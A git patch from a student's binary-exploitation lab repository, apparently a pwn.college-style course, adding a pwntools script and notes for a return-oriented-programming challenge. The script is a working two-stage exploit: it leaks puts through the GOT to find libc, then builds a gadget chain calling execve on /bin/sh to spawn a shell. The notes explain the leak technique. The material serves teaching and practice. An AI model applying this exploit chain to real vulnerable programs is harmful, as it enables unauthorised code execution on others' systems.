From 923899fd2388216f08f53fddecad88f3ee32fc7f Mon Sep 17 00:00:00 2001 From: Kaushik Narayan R Date: Mon, 4 Nov 2024 14:45:46 -0700 Subject: [PATCH] lab 4c.2 - rop with libc leak --- {4c.1 => 4c}/lab4c_1.py | 0 4c/lab4c_2.py | 141 ++++++++++++++++++++++++++++++++++++++++ Dojo Notes.md | 18 +++++ 3 files changed, 159 insertions(+) rename {4c.1 => 4c}/lab4c_1.py (100%) create mode 100644 4c/lab4c_2.py diff --git a/4c.1/lab4c_1.py b/4c/lab4c_1.py similarity index 100% rename from 4c.1/lab4c_1.py rename to 4c/lab4c_1.py diff --git a/4c/lab4c_2.py b/4c/lab4c_2.py new file mode 100644 index 0000000..9b9fb9e --- /dev/null +++ b/4c/lab4c_2.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template /challenge/run +from pwn import * + +# Set up pwntools for the correct architecture +exe = context.binary = ELF(args.EXE or '/challenge/run') + +# Many built-in settings can be controlled on the command-line and show up +# in "args". For example, to dump all data sent/received, and disable ASLR +# for all created processes... +# ./exploit.py DEBUG NOASLR + + + +def start(argv=[], *a, **kw): + '''Start the exploit against the target.''' + if args.GDB: + return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe.path] + argv, *a, **kw) + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +b 15 +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== +# Arch: amd64-64-little +# RELRO: No RELRO +# Stack: No canary found +# NX: NX enabled +# PIE: No PIE (0x400000) + +io = start() +io.recvuntil(b"command.\n") + +chal_elf = ELF("/challenge/run") +chal_rop = ROP(chal_elf) + +# first, leak libc address + +## payload padding +unbound_buffer = 0x7ffeb37aad8b +saved_rip = 0x7ffeb37aad98 +offset = saved_rip - unbound_buffer +payload_1_padding = b'F' * offset + +# get pop rdi gadget (from code itself) to place argument for puts +pop_rdi_gadget = chal_rop.find_gadget(['pop rdi', 'ret'])[0] + +## puts(&puts) +## call puts with the resolved function in PLT (cld use GOT puts too?) +puts_plt=chal_elf.plt['puts'] + +## pass the address of puts in libc, obtained from GOT, as the argument to puts +puts_got=chal_elf.got['puts'] + +## go back to `vuln` function +vuln_addr = chal_elf.symbols['vuln'] + +payload_1 = payload_1_padding + \ + p64(pop_rdi_gadget) + p64(puts_got) + \ + p64(puts_plt) + \ + p64(vuln_addr) + b'\n' + +io.send(payload_1) + +## get libc address from output +# strip() can take away other whitespaces as well, so 0x20 (space) if part of an address, gets removed +# so use split() to be more exact +addr_line = io.recvuntil(b"command.\n").split(b"\n")[0] +puts_addr = int.from_bytes(addr_line, byteorder="little") +print("puts is at:", hex(puts_addr)) + +# readelf and grep +puts_offset = 0x84420 +libc_addr = puts_addr - puts_offset +print("libc is at:", hex(libc_addr)) + +# io.interactive() + +# now, load libc +libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6") +libc_rop = ROP(libc_elf) + +## 1.1 find string - /bin/sh +bin_sh = next(libc_elf.search(b"/bin/sh")) # relative position +bin_sh += libc_addr # absolute address + +## 1.2 pop rdi, ret +# pop_rdi_gadget = libc_rop.find_gadget(['pop rdi', 'ret'])[0] +# pop_rdi_gadget += libc_addr +## already have this + +## 2.1 zero can be loaded onto stack directly (? null byte?) + +## 2.2 pop rdx, ret +# pop_rdx_gadget = libc_rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0] +# pop_rdx_gadget += libc_addr +## this time, from code itself +pop_rdx_gadget = chal_rop.find_gadget(['pop rdx', 'ret'])[0] + +## 3.1 zero can be loaded onto stack directly (? null byte?) + +## 3.2 pop rsi, ret +# libc_rop.rsi = 0x0 +pop_rsi_gadget = libc_rop.find_gadget(['pop rsi', 'ret'])[0] +pop_rsi_gadget += libc_addr + +## 4.1 0x3b can be loaded onto stack directly + +## 4.2 pop rax, ret +# libc_rop.rax = 0x3b +pop_rax_gadget = libc_rop.find_gadget(['pop rax', 'ret'])[0] +pop_rax_gadget += libc_addr + +## 5. syscall +syscall_gadget = libc_rop.find_gadget(['syscall'])[0] +syscall_gadget += libc_addr + +# payload padding +payload_2_padding = payload_1_padding + +payload_2 = payload_2_padding + \ + p64(pop_rdi_gadget) + p64(bin_sh) + \ + p64(pop_rdx_gadget) + p64(0) + \ + p64(pop_rsi_gadget) + p64(0) + \ + p64(pop_rax_gadget) + p64(0x3b) + \ + p64(syscall_gadget) + +io.send(payload_2) + +# root shell obtained +io.interactive() diff --git a/Dojo Notes.md b/Dojo Notes.md index 93341a5..f64d596 100644 --- a/Dojo Notes.md +++ b/Dojo Notes.md @@ -508,3 +508,21 @@ done - find necessary gadgets and args - some might not exist in the exact form required, maybe some baggage is attached, or a roundabout way is needed (xor instead of directly loading, etc) - boom + +### lab 4c.2 - rop + +- this time, base address of libc isn't given by the program +- we need to leak it + - the program's PLT - procedure linkage table - has the address of any library functions that have been called at least once + - PLT is stored in the code section (?) and won't change per execution + - if the program calls puts/printf, we can get its address inside libc and calc libc base from that + - to get this address, we craft a ROP chain +- leak rop chain + - get the pointer to puts/printf that's inside PLT, and put it in rdi + - then put the same in the next rip itself + - so we have now done `puts(&puts)` + - then address of the vuln function, to reset execution +- this prints out the address of puts from libc +- we know offset of puts from libc base, so we can get libc base +- rest is same as before +- boom